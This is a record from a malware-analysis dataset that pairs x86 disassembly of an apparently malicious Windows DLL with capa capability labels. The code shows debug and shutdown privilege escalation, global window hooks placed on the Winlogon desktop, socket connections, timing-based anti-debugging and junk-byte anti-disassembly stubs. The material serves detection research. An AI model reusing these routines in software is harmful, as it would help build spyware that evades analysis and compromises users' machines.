joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100036e0
Capabilities:
Shutdown system

Disassembly:
sal byte [edx + edx - 0x73], 0x95
in al, dx
invalid
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
push esi
push edi
mov dword [ebp - 0x24], ecx
push eax
nop
nop
sub eax, eax
je 0x100036fa
nop
nop
nop
nop
jae 0x10003692
xor dword [eax - 0x39], ebx
inc ebp
in al, 1
add byte [eax], al
add bh, bh
adc eax, sym.imp.KERNEL32.dll_GetCurrentThread
pop eax
mov dword [ebp - 0x1c], 1
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov dword [ebp - 4], eax
lea eax, [ebp - 0xc]
push eax
push str.SeShutdownPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
mov ecx, dword [ebp - 0xc]
mov dword [ebp - 0x18], ecx
mov edx, dword [ebp - 8]
mov dword [ebp - 0x14], edx
mov dword [ebp - 0x10], 2
push 2
call dword [sym.imp.ADVAPI32.dll_ImpersonateSelf]
lea eax, [ebp - 0x20]
push eax
push 1
push 0x20
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_OpenThreadToken]

Function at 0x10003790
Capabilities:
Shutdown system

Disassembly:
push 0
push 0
push 0x10
lea edx, [ebp - 0x1c]
push edx
push 0
mov eax, dword [ebp - 0x20]
push eax
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
cmp dword [ebp + 8], 0
je 0x10003771
push 4
push 8
call dword [sym.imp.USER32.dll_ExitWindowsEx]
jmp 0x1000377b
push 4
push 2
call dword [sym.imp.USER32.dll_ExitWindowsEx]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
mov eax, dword [ebp - 4]
mov dword [eax], 0x100123a4
push eax
nop
nop
sub eax, eax
je 0x100037b1
nop
nop
nop
nop
jae 0x10003749
xor dword [eax - 0x75], ebx
dec ebp
cld
pop eax
mov ecx, dword [ebp - 4]
mov dword [ecx + 4], 0
mov edx, dword [ebp - 4]
mov dword [edx + 8], 0
mov ecx, 0x41
xor eax, eax
mov edi, dword [ebp - 4]
add edi, 0xc
rep stosd dword es:[edi], eax
mov eax, dword [ebp - 4]
mov dword [eax + 0x110], 0
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10005cf0
Capabilities:
Create tcp socket
Create udp socket
Set socket configuration

Disassembly:
jl 0x10005ca0
invalid
invalid
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
push edi
push eax
nop
nop
sub eax, eax
je 0x10005d07
nop
nop
nop
nop
jae 0x10005c9f
xor dword [eax - 0x39], ebx
inc ebp
clc
add byte [esi + 5], bl
pop eax
mov dword [ebp - 8], 0x5265c00
xor eax, eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
mov word [ebp - 0x18], 2
mov cx, word [ebp + 8]
push ecx
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x16], ax
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
jne 0x10005d4e
xor eax, eax
jmp 0x10005df0
push 0x10
lea edx, [ebp - 0x18]
push edx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.WS2_32.dll_bind]
cmp eax, 0xffffffff
jne 0x10005d71
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
jmp 0x10005df0
push 4
lea edx, [ebp - 8]
push edx
push 0x1005
push 0xffff
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.WS2_32.dll_setsockopt]
cmp eax, 0xffffffff
jne 0x10005d9e
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
jmp 0x10005df0
push 4
lea edx, [ebp - 8]
push edx
push 0x1006
push 0xffff
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.WS2_32.dll_setsockopt]
Function at 0x10006160
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Resolve dns
Set socket configuration

Disassembly:
invalid
push ebp
mov ebp, esp
sub esp, 0x13c
push ebx
push esi
push edi
push eax
nop
nop
sub eax, eax
je 0x1000617a
nop
nop
nop
nop
jae 0x10006112
xor dword [eax + 0x66], ebx
mov dword [ebp - 0x10], 0xc0330000
pop eax
mov word [ebp - 0x10], 0
xor eax, eax
mov dword [ebp - 0xe], eax
mov dword [ebp - 0xa], eax
mov dword [ebp - 6], eax
mov word [ebp - 2], ax
mov dword [ebp - 0x18], 0x10
mov dword [ebp - 0x128], 0
mov byte [ebp - 0x120], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x11f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, dword [ebp + 8]
push ecx
lea edx, [ebp - 0x120]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x120]
push eax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0xffffffff
jne 0x10006270
lea ecx, [ebp - 0x120]
push ecx
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov dword [ebp - 0x13c], eax
cmp dword [ebp - 0x13c], 0
jne 0x10006208
xor eax, eax
jmp 0x10006357
mov word [ebp - 0x138], 0
xor edx, edx
mov dword [ebp - 0x136], edx
mov dword [ebp - 0x132], edx
mov dword [ebp - 0x12e], edx
mov word [ebp - 0x12a], dx
mov eax, dword [ebp - 0x13c]
movsx ecx, word [eax + 0xa]
mov edx, dword [ebp - 0x13c]
mov eax, dword [edx + 0xc]
mov esi, dword [eax]
lea edi, [ebp - 0x134]
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [ebp - 0x134]
push eax
call dword [sym.imp.WS2_32.dll_inet_ntoa]
push eax
lea ecx, [ebp - 0x120]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea edx, [ebp - 0x120]
push edx
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [ebp - 0xc], eax
mov ax, word [ebp + 0xc]
push eax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0xe], ax
mov word [ebp - 0x10], 2
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [ebp - 0x128], eax
cmp dword [ebp - 0x128], 0xffffffff
jne 0x100062b7
xor eax, eax
jmp 0x10006357
mov ecx, dword [ebp - 0x18]
push ecx
lea edx, [ebp - 0x10]
push edx
mov eax, dword [ebp - 0x128]
push eax
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x100062e2
mov ecx, dword [ebp - 0x128]
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
jmp 0x10006357
mov dword [ebp - 0x124], 1
push 4
lea edx, [ebp - 0x124]
push edx
push 1
push 6
mov eax, dword [ebp - 0x128]
push eax
call dword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
je 0x1000631b
mov ecx, dword [ebp - 0x128]
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
jmp 0x10006357
mov dword [ebp - 0x14], 1
push 4
lea edx, [ebp - 0x14]
push edx
push 8
push 0xffff
mov eax, dword [ebp - 0x128]
push eax
call dword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
je 0x10006351
mov ecx, dword [ebp - 0x128]
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
jmp 0x10006357
mov eax, dword [ebp - 0x128]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10006450
Capabilities:
Check for time delay via queryperformancecounter
Execute anti-debugging instructions

Disassembly:
or al, 0xc7
test dword [eax - 1], ebp
invalid
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
push esi
push edi
mov dword [ebp - 0x2c], ecx
push eax
nop
nop
sub eax, eax
je 0x1000646a
nop
nop
nop
nop
jae 0x10006402
xor dword [eax - 1], ebx
adc eax, sym.imp.KERNEL32.dll_GetCurrentProcess
pop eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_GetPriorityClass]
mov dword [ebp - 0x14], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.KERNEL32.dll_GetThreadPriority]
mov dword [ebp - 0x20], eax
push 0x100
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_SetPriorityClass]
push 0xf
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
lea eax, [ebp - 0x28]
push eax
call dword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
lea ecx, [ebp - 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
push 0
push 0x10
mov edx, dword [ebp - 0x24]
push edx
mov eax, dword [ebp - 0x28]
push eax
call fcn.10011430
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], edx
mov ecx, dword [ebp - 0x28]
add ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 0x24]
adc edx, dword [ebp - 0xc]
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x24], edx
rdtsc
mov dword [ebp - 8], eax
mov dword [ebp - 4], edx
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x24]
jg 0x1000650f
jl 0x10006503
mov ecx, dword [ebp - 0x10]
cmp ecx, dword [ebp - 0x28]
jae 0x1000650f
lea edx, [ebp - 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
jmp 0x100064f1
rdtsc
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_SetPriorityClass]
mov edx, dword [ebp - 0x1c]
sub edx, dword [ebp - 8]
mov eax, dword [ebp - 0x18]
sbb eax, dword [ebp - 4]
push 0
push 0xf424
push eax
push edx
call fcn.10011430
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10009070
Capabilities:
Create thread
Set global application hook

Disassembly:
push edx
call dword [sym.imp.USER32.dll_UnhookWindowsHookEx]
cmp dword [0x10015c14], 0
je 0x1000903b
mov eax, dword [0x10015c14]
push eax
call dword [sym.imp.USER32.dll_UnhookWindowsHookEx]
mov ecx, dword [0x100146d8]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [0x100146dc]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
pop edi
pop esi
pop ebx
pop ebp
ret
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push eax
nop
nop
sub eax, eax
je 0x10009087
nop
nop
nop
nop
jae 0x1000901f
xor dword [eax + 0x6a], ebx
add byte [edx], ch
pop eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [0x100146d8], eax
push 0
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [0x100146dc], eax
push 0
push 0
push 0x10009680
call dword [sym.imp.MSVCRT.dll__beginthread]
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
call dword [sym.imp.USER32.dll_GetThreadDesktop]
mov dword [ebp - 8], eax
push 0x2000000
push 0
push 0
push str.Default
call dword [sym.imp.USER32.dll_OpenDesktopA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x100090f5
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.USER32.dll_SetThreadDesktop]
cmp dword [0x10015c10], 0
jne 0x10009119
push 0
mov ecx, dword [0x10014894]
push ecx
push 0x10008d20
push 4
call dword [sym.imp.USER32.dll_SetWindowsHookExW]
mov dword [0x10015c10], eax
cmp dword [0x10015c0c], 0
jne 0x1000913d
push 0
mov edx, dword [0x10014894]
push edx
push 0x10008c40
push 3
call dword [sym.imp.USER32.dll_SetWindowsHookExW]
mov dword [0x10015c0c], eax
push 0x2000000
push 0
push 0
push str.Winlogon
call dword [sym.imp.USER32.dll_OpenDesktopA]
Function at 0x100091a0
Capabilities:
Set global application hook
Write file on windows

Disassembly:
add dword [eax], edx
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x10009164
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.USER32.dll_SetThreadDesktop]
cmp dword [0x10015c14], 0
jne 0x10009188
push 0
mov ecx, dword [0x10014894]
push ecx
push 0x10008f30
push 3
call dword [sym.imp.USER32.dll_SetWindowsHookExW]
mov dword [0x10015c14], eax
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.USER32.dll_SetThreadDesktop]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push eax
nop
nop
sub eax, eax
je 0x100091b7
nop
nop
nop
nop
jae 0x1000914f
xor dword [eax + 0x6a], ebx
add byte [eax - 0x80], ch
add byte [eax], al
add byte [edx + 4], ch
pop eax
push 0
push 0x80
push 4
push 0
push 0
push 0x40000000
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
jne 0x100091e1
xor eax, eax
jmp 0x10009229
push 2
push 0
push 0
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 4], 0
push 0
lea edx, [ebp - 4]
push edx
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1000a020
Capabilities:
Read file on windows

Disassembly:
push 0x1044
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov ecx, dword [ebp - 0x10c]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x1044
mov edx, dword [ebp + 8]
push edx
call fcn.10009e10
add esp, 8
mov eax, 1
push ebp
mov ebp, esp
sub esp, 0x314
push ebx
push esi
push edi
push eax
nop
nop
sub eax, eax
je 0x1000a03a
nop
nop
nop
nop
jae 0x10009fd2
xor dword [eax - 0x3a], ebx
test esp, ebp
cld
invalid
pop eax
mov byte [ebp - 0x314], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x313]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov byte [ebp - 0x210], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x20f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov byte [ebp - 0x108], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x107]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [ebp + 0xc]
push eax
push 0x100144e8
lea ecx, [ebp - 0x210]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
mov edx, dword [ebp + 8]
push edx
lea eax, [ebp - 0x314]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov ecx, dword [ebp + 0xc]
push ecx
lea edx, [ebp - 0x314]
push edx
call dword [sym.imp.SHLWAPI.dll_StrStrA]
mov dword [ebp - 0x10c], eax
cmp dword [ebp - 0x10c], 0
jne 0x1000a0d4
xor eax, eax
jmp fcn.1000a153
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, dword [ebp - 0x10c]
add ecx, eax
mov dword [ebp - 0x10c], ecx
push 0x3b
mov edx, dword [ebp - 0x10c]
push edx
call dword [sym.imp.SHLWAPI.dll_StrChrA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x1000a11e
lea eax, [ebp - 0x314]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
Function at 0x1000a160
Capabilities:
Query or enumerate registry value

Disassembly:
add dword [eax], edx
lea ecx, [ebp + eax - 0x314]
mov dword [ebp - 4], ecx
mov ecx, dword [ebp - 4]
sub ecx, dword [ebp - 0x10c]
mov esi, dword [ebp - 0x10c]
mov edi, dword [ebp + 0x10]
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [ebp - 4]
sub eax, dword [ebp - 0x10c]
mov ecx, dword [ebp + 0x10]
mov byte [ecx + eax], 0
mov eax, 1
push ebp
mov ebp, esp
sub esp, 0x110
push ebx
push esi
push edi
push eax
nop
nop
sub eax, eax
je 0x1000a17a
nop
nop
nop
nop
jae 0x1000a112
xor dword [eax - 0x39], ebx
inc ebp
cld
add byte [eax], al
add byte [eax], al
pop eax
mov dword [ebp - 4], 0
lea eax, [ebp - 4]
push eax
push 0xf003f
push 0
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x1000a1ab
xor eax, eax
jmp 0x1000a23e
mov byte [ebp - 0x10c], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x10b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [ebp - 0x110], 0x104
lea eax, [ebp - 0x110]
push eax
lea ecx, [ebp - 0x10c]
push ecx
push 0
push 0
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x1000a205
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
jmp 0x1000a23e
mov ecx, dword [ebp - 0x110]
lea esi, [ebp - 0x10c]
mov edi, dword [ebp + 0x14]
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x1000a239
xor eax, eax
jmp 0x1000a23e
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x1000a2e0
Capabilities:
Acquire debug privileges

Disassembly:
inc eax
add byte [eax], al
add byte [ebx], dh
ror byte [ebp - 0x10643], 0xff
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
push eax
nop
nop
sub eax, eax
nop
je 0x1000a2f7
nop
nop
nop
jae 0x1000a28f
xor dword [eax - 0x73], ebx
inc ebp
in al, dx
pop eax
lea eax, [ebp - 0x14]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
Function at 0x1000a350
Capabilities:
Acquire debug privileges

Disassembly:
adc eax, sym.imp.KERNEL32.dll_GetCurrentProcess
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
lea ecx, [ebp - 0xc]
push ecx
push str.SeDebugPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
mov dword [ebp - 0x10], 1
mov dword [ebp - 4], 2
push 0
push 0
push 0
lea edx, [ebp - 0x10]
push edx
push 0
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push eax
nop
nop
sub eax, eax
je 0x1000a367
nop
nop
nop
nop
jae 0x1000a2ff
xor dword [eax - 0x39], ebx
inc ebp
cld
add byte [eax], al
add byte [eax], al
pop eax
mov dword [ebp - 4], 0
jmp 0x1000a37a

Function at 0x1000a400
Capabilities:
Read file on windows

Disassembly:
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp + 0x10]
jge 0x1000a3f8
mov edx, dword [ebp + 8]
add edx, dword [ebp - 4]
xor eax, eax
mov al, byte [edx]
sar eax, 4
and eax, 0xf
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 9
jle 0x1000a3ac
mov ecx, dword [ebp - 8]
add ecx, 0x37
mov edx, dword [ebp - 4]
mov eax, dword [ebp + 0xc]
mov byte [eax + edx*2], cl
jmp 0x1000a3bb
mov ecx, dword [ebp - 8]
add ecx, 0x30
mov edx, dword [ebp - 4]
mov eax, dword [ebp + 0xc]
mov byte [eax + edx*2], cl
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 4]
xor edx, edx
mov dl, byte [ecx]
and edx, 0xf
mov dword [ebp - 8], edx
cmp dword [ebp - 8], 9
jle 0x1000a3e3
mov eax, dword [ebp - 8]
add eax, 0x37
mov ecx, dword [ebp - 4]
mov edx, dword [ebp + 0xc]
mov byte [edx + ecx*2 + 1], al
jmp 0x1000a3f3
mov eax, dword [ebp - 8]
add eax, 0x30
mov ecx, dword [ebp - 4]
mov edx, dword [ebp + 0xc]
mov byte [edx + ecx*2 + 1], al
jmp 0x1000a371
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push eax
nop
nop
sub eax, eax
je 0x1000a417
nop
nop
nop
nop
jae 0x1000a3af
xor dword [eax + 0x6a], ebx
add byte [eax - 0x80], ch
add byte [eax], al
add byte [edx + 3], ch
pop eax
push 0
push 0x80
push 3
push 0
push 1
push bind
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
jne 0x1000a441
xor eax, eax
jmp 0x1000a46f
mov dword [ebp - 4], 0
push 0
lea ecx, [ebp - 4]
push ecx
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1000a480
Capabilities:
Delete file
Write file on windows

Disassembly:
adc eax, sym.imp.KERNEL32.dll_CreateFileA
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push eax
nop
nop
sub eax, eax
je 0x1000a497
nop
nop
nop
nop
jae 0x1000a42f
xor dword [eax - 0x75], ebx
inc ebp
or byte [eax - 1], dl
adc eax, sym.imp.KERNEL32.dll_DeleteFileA
pop eax
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0
push 0x80
push 1
push 0
push 0
push 0x40000000
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
jne 0x1000a4cb
xor eax, eax
jmp 0x1000a4f9
mov dword [ebp - 4], 0
push 0
lea edx, [ebp - 4]
push edx
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x1000a500
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
push edi
push eax
nop
nop
sub eax, eax
je 0x1000a517
nop
nop
nop
nop
jae 0x1000a4af
xor dword [eax - 0x39], ebx
inc ebp
lock add byte [eax], al
add byte [eax], al
pop eax
mov dword [ebp - 0x10], 0
mov dword [ebp - 4], 0
mov dword [ebp - 0xc], 0
lea eax, [ebp - 4]
push eax
lea ecx, [ebp - 0x10]
push ecx
call fcn.10011192
cmp dword [ebp - 4], 0
jne 0x1000a548
or eax, 0xffffffff
jmp 0x1000a604
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.MSVCRT.dll_malloc]
add esp, 4
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x1000a566
or eax, 0xffffffff
jmp 0x1000a604
mov eax, dword [ebp - 4]
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x10]
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp - 0xc]
push edx
mov eax, dword [ebp - 0x18]
push eax
mov ecx, dword [ebp - 0x14]
push ecx
call fcn.10011180
mov dword [ebp - 8], 0
jmp 0x1000a595
mov edx, dword [ebp - 8]
add edx, 1
mov dword [ebp - 8], edx
mov eax, dword [ebp - 8]
cmp eax, dword [ebp - 0x10]
jae 0x1000a5f4
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 8]
imul edx, edx, 0x4c
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax + edx + 0x30]
push ecx
call dword [sym.imp.MSVCRT.dll_wcscmp]
add esp, 8
test eax, eax
jne 0x1000a5f2
mov edx, dword [ebp - 8]
imul edx, edx, 0x4c
mov eax, dword [ebp - 0xc]
add eax, edx
mov ecx, dword [ebp + 0xc]
mov edx, dword [eax]
mov dword [ecx], edx
mov edx, dword [eax + 4]
mov dword [ecx + 4], edx
mov edx, dword [eax + 8]
mov dword [ecx + 8], edx
mov eax, dword [eax + 0xc]
mov dword [ecx + 0xc], eax
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.MSVCRT.dll_free]
add esp, 4
mov eax, dword [ebp - 8]
jmp 0x1000a604
jmp 0x1000a58c
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.MSVCRT.dll_free]
add esp, 4
or eax, 0xffffffff
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret